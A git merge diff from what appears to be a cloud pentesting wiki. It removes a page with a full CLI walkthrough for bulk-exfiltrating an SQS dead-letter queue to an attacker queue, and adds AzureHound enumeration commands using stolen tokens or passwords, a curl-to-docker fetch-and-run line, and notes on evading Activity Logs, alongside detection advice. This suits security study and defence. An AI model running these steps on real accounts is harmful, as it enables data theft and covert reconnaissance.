Merge branch 'master' into update_Breaking_MCP_Server_Hosting__Build-Context_Path_Tr_20251025_123530

This commit is contained in:
SirBroccoli
2025-10-25 17:39:32 +02:00
committed by GitHub
4 changed files with 99 additions and 174 deletions

View File

@@ -284,9 +284,11 @@
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
- [AWS - MWAA Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
@@ -577,7 +579,4 @@
- [HackTricks Pentesting Network$$external:https://book.hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-network/index.html$$]()
- [HackTricks Pentesting Services$$external:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ssh.html$$]()
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
- [Aws Sqs Dlq Redrive Exfiltration](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
- [Readme](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)

View File

@@ -1,163 +0,0 @@
# AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask
{{#include ../../../banners/hacktricks-training.md}}
## Description
Abuse SQS message move tasks to steal all accumulated messages from a victim's Dead-Letter Queue (DLQ) by redirecting them to an attacker-controlled queue using `sqs:StartMessageMoveTask`. This technique exploits AWS's legitimate message recovery feature to exfiltrate sensitive data that has accumulated in DLQs over time.
## What is a Dead-Letter Queue (DLQ)?
A Dead-Letter Queue is a special SQS queue where messages are automatically sent when they fail to be processed successfully by the main application. These failed messages often contain:
- Sensitive application data that couldn't be processed
- Error details and debugging information
- Personal Identifiable Information (PII)
- API tokens, credentials, or other secrets
- Business-critical transaction data
DLQs act as a "graveyard" for failed messages, making them valuable targets since they accumulate sensitive data over time that applications couldn't handle properly.
## Attack Scenario
**Real-world example:**
1. **E-commerce application** processes customer orders through SQS
2. **Some orders fail** (payment issues, inventory problems, etc.) and get moved to a DLQ
3. **DLQ accumulates** weeks/months of failed orders containing customer data: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Attacker gains access** to AWS credentials with SQS permissions
5. **Attacker discovers** the DLQ contains thousands of failed orders with sensitive data
6. **Instead of trying to access individual messages** (slow and obvious), attacker uses `StartMessageMoveTask` to bulk transfer ALL messages to their own queue
7. **Attacker extracts** all historical sensitive data in one operation
## Requirements
- The source queue must be configured as a DLQ (referenced by at least one queue RedrivePolicy).
- IAM permissions (run as the compromised victim principal):
- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- On destination queue: permission to deliver messages (e.g., queue policy allowing `sqs:SendMessage` from the victim principal). For same-account destinations this is typically allowed by default.
- If SSE-KMS is enabled: on source CMK `kms:Decrypt`, and on destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
## Impact
Exfiltrate sensitive payloads accumulated in DLQs (failed events, PII, tokens, application payloads) at high speed using native SQS APIs. Works cross-account if the destination queue policy allows `SendMessage` from the victim principal.
## How to Abuse
- Identify the victim DLQ ARN and ensure it is actually referenced as a DLQ by some queue (any queue is fine).
- Create or choose an attacker-controlled destination queue and get its ARN.
- Start a message move task from the victim DLQ to your destination queue.
- Monitor progress or cancel if needed.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Scenario**: An attacker has compromised AWS credentials and discovered that an e-commerce application uses SQS with a DLQ containing failed customer order processing attempts.
1) **Discover and examine the victim DLQ**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Create attacker-controlled destination queue**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **Execute the bulk message theft**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)
echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Harvest the stolen sensitive data**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5
# Example of what an attacker might see:
# {
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
# "MessageId": "12345-abcd-6789-efgh"
# }
# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi
echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Cross-account notes
- The destination queue must have a resource policy allowing the victim principal to `sqs:SendMessage` (and, if used, KMS grants/permissions).
## Why This Attack is Effective
1. **Legitimate AWS Feature**: Uses built-in AWS functionality, making it hard to detect as malicious
2. **Bulk Operation**: Transfers thousands of messages quickly instead of slow individual access
3. **Historical Data**: DLQs accumulate sensitive data over weeks/months
4. **Under the Radar**: Many organizations don't monitor DLQ access closely
5. **Cross-Account Capable**: Can exfiltrate to attacker's own AWS account if permissions allow
## Detection and Prevention
### Detection
Monitor CloudTrail for suspicious `StartMessageMoveTask` API calls:
```json
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
```
### Prevention
1. **Least Privilege**: Restrict `sqs:StartMessageMoveTask` permissions to only necessary roles
2. **Monitor DLQs**: Set up CloudWatch alarms for unusual DLQ activity
3. **Cross-Account Policies**: Carefully review SQS queue policies allowing cross-account access
4. **Encrypt DLQs**: Use SSE-KMS with restricted key policies
5. **Regular Cleanup**: Don't let sensitive data accumulate in DLQs indefinitely
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -302,17 +302,85 @@ roadrecon gui
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
AzureHound is the BloodHound collector for Microsoft Entra ID and Azure. It is a single static Go binary for Windows/Linux/macOS that talks directly to:
- Microsoft Graph (Entra ID directory, M365) and
- Azure Resource Manager (ARM) control plane (subscriptions, resource groups, compute, storage, key vault, app services, AKS, etc.)
Key traits
- Runs from anywhere on the public internet against tenant APIs (no internal network access required)
- Outputs JSON for BloodHound CE ingestion to visualize attack paths across identities and cloud resources
- Default User-Agent observed: azurehound/v2.x.x
Authentication options
- Username + password: -u <upn> -p <password>
- Refresh token: --refresh-token <rt>
- JSON Web Token (access token): --jwt <jwt>
- Service principal secret: -a <appId> -s <secret>
- Service principal certificate: -a <appId> --cert <cert.pem> --key <key.pem> [--keypass <pass>]
Examples
```bash
# Launch AzureHound
## Login with app secret
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
## Login with user creds
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
# Full tenant collection to file using different auth flows
## User creds
azurehound list -u "<user>@<tenant>" -p "<pass>" -t "<tenant-id|domain>" -o ./output.json
## Use an access token (JWT) from az cli for Graph
JWT=$(az account get-access-token --resource https://graph.microsoft.com -o tsv --query accessToken)
azurehound list --jwt "$JWT" -t "<tenant-id>" -o ./output.json
## Use a refresh token (e.g., from device code flow)
azurehound list --refresh-token "<refresh_token>" -t "<tenant-id>" -o ./output.json
## Service principal secret
azurehound list -a "<client-id>" -s "<secret>" -t "<tenant-id>" -o ./output.json
## Service principal certificate
azurehound list -a "<client-id>" --cert "/path/cert.pem" --key "/path/key.pem" -t "<tenant-id>" -o ./output.json
# Targeted discovery
azurehound list users -t "<tenant-id>" -o users.json
azurehound list groups -t "<tenant-id>" -o groups.json
azurehound list roles -t "<tenant-id>" -o roles.json
azurehound list role-assignments -t "<tenant-id>" -o role-assignments.json
# Azure resources via ARM
azurehound list subscriptions -t "<tenant-id>" -o subs.json
azurehound list resource-groups -t "<tenant-id>" -o rgs.json
azurehound list virtual-machines -t "<tenant-id>" -o vms.json
azurehound list key-vaults -t "<tenant-id>" -o kv.json
azurehound list storage-accounts -t "<tenant-id>" -o sa.json
azurehound list storage-containers -t "<tenant-id>" -o containers.json
azurehound list web-apps -t "<tenant-id>" -o webapps.json
azurehound list function-apps -t "<tenant-id>" -o funcapps.json
```
Launch the **BloodHound** web with **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** and import the `output.json` file.
What gets queried
- Graph endpoints (examples):
- /v1.0/organization, /v1.0/users, /v1.0/groups, /v1.0/roleManagement/directory/roleDefinitions, directoryRoles, owners/members
- ARM endpoints (examples):
- management.azure.com/subscriptions/.../providers/Microsoft.Storage/storageAccounts
- .../Microsoft.KeyVault/vaults, .../Microsoft.Compute/virtualMachines, .../Microsoft.Web/sites, .../Microsoft.ContainerService/managedClusters
Then, in the **EXPLORE** tab, in the **CYPHER** section you can see a **folder** icon that contains pre-built queries.
Preflight behavior and endpoints
- Each azurehound list <object> typically performs these test calls before enumeration:
1) Identity platform: login.microsoftonline.com
2) Graph: GET https://graph.microsoft.com/v1.0/organization
3) ARM: GET https://management.azure.com/subscriptions?api-version=...
- Cloud environment base URLs differ for Government/China/Germany. See constants/environments.go in the repo.
ARM-heavy objects (less visible in Activity/Resource logs)
- The following list targets predominantly use ARM control plane reads: automation-accounts, container-registries, function-apps, key-vaults, logic-apps, managed-clusters, management-groups, resource-groups, storage-accounts, storage-containers, virtual-machines, vm-scale-sets, web-apps.
- These GET/list operations are typically not written to Activity Logs; data-plane reads (e.g., *.blob.core.windows.net, *.vault.azure.net) are covered by Diagnostic Settings at the resource level.
OPSEC and logging notes
- Microsoft Graph Activity Logs are not enabled by default; enable and export to SIEM to gain visibility of Graph calls. Expect the Graph preflight GET /v1.0/organization with UA azurehound/v2.x.x.
- Entra ID non-interactive sign-in logs record the identity platform auth (login.microsoftonline.com) used by AzureHound.
- ARM control-plane read/list operations are not recorded in Activity Logs; many azurehound list operations against resources wont appear there. Only data-plane logging (via Diagnostic Settings) will capture reads to service endpoints.
- Defender XDR GraphApiAuditEvents (preview) can expose Graph calls and token identifiers but may lack UserAgent and have limited retention.
Tip: When enumerating for privilege paths, dump users, groups, roles, and role assignments, then ingest in BloodHound and use prebuilt cypher queries to surface Global Administrator/Privileged Role Administrator and transitive escalation via nested groups and RBAC assignments.
Launch the BloodHound web with `curl -L https://ghst.ly/getbhce | docker compose -f - up` and import the `output.json` file. Then, in the EXPLORE tab, in the CYPHER section you can see a folder icon that contains pre-built queries.
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
@@ -429,5 +497,14 @@ python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
## References
- [Cloud Discovery With AzureHound (Unit 42)](https://unit42.paloaltonetworks.com/threat-actor-misuse-of-azurehound/)
- [AzureHound repository](https://github.com/SpecterOps/AzureHound)
- [BloodHound repository](https://github.com/SpecterOps/BloodHound)
- [AzureHound Community Edition Flags](https://bloodhound.specterops.io/collect-data/ce-collection/azurehound-flags)
- [AzureHound constants/environments.go](https://github.com/SpecterOps/AzureHound/blob/main/constants/environments.go)
- [AzureHound client/storage_accounts.go](https://github.com/SpecterOps/AzureHound/blob/main/client/storage_accounts.go)
- [AzureHound client/roles.go](https://github.com/SpecterOps/AzureHound/blob/main/client/roles.go)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -48,6 +48,15 @@ In summary, a Log Analytics workspace is essential for advanced monitoring, trou
You can configure a resource to send data to an analytics workspace from the **diagnostic settings** of the resource.
## Graph vs ARM logging visibility (useful for OPSEC/hunting)
- Microsoft Graph Activity Logs are not enabled by default. Enable and export them (Event Hubs/Log Analytics/SIEM) to see Graph read calls. Tools like AzureHound perform a preflight GET to /v1.0/organization that will appear here; default UA observed: azurehound/v2.x.x.
- Entra ID non-interactive sign-in logs record the identity platform authentication (login.microsoftonline.<tld>) used by scripts/tools.
- ARM control-plane read/list (HTTP GET) operations are generally not written to Activity Logs. Visibility of read operations comes from resource Diagnostic Settings for data-plane endpoints only (e.g., *.blob.core.windows.net, *.vault.azure.net) and not from ARM control-plane calls to management.azure.<tld>.
- Microsoft Defender XDR Advanced Hunting GraphApiAuditEvents (preview) can expose Graph calls and token identifiers but may omit UserAgent and has limited default retention.
When hunting for AzureHound, correlate Entra sign-in logs with Graph Activity Logs on session ID, IP, user/object IDs, and look for bursts of Graph requests plus ARM management calls that lack Activity Log coverage.
## Enumeration
### Entra ID
@@ -105,5 +114,8 @@ az monitor metrics alert list --output table
az monitor activity-log alert list --output table
```
## References
- [Cloud Discovery With AzureHound (Unit 42)](https://unit42.paloaltonetworks.com/threat-actor-misuse-of-azurehound/)
{{#include ../../../banners/hacktricks-training.md}}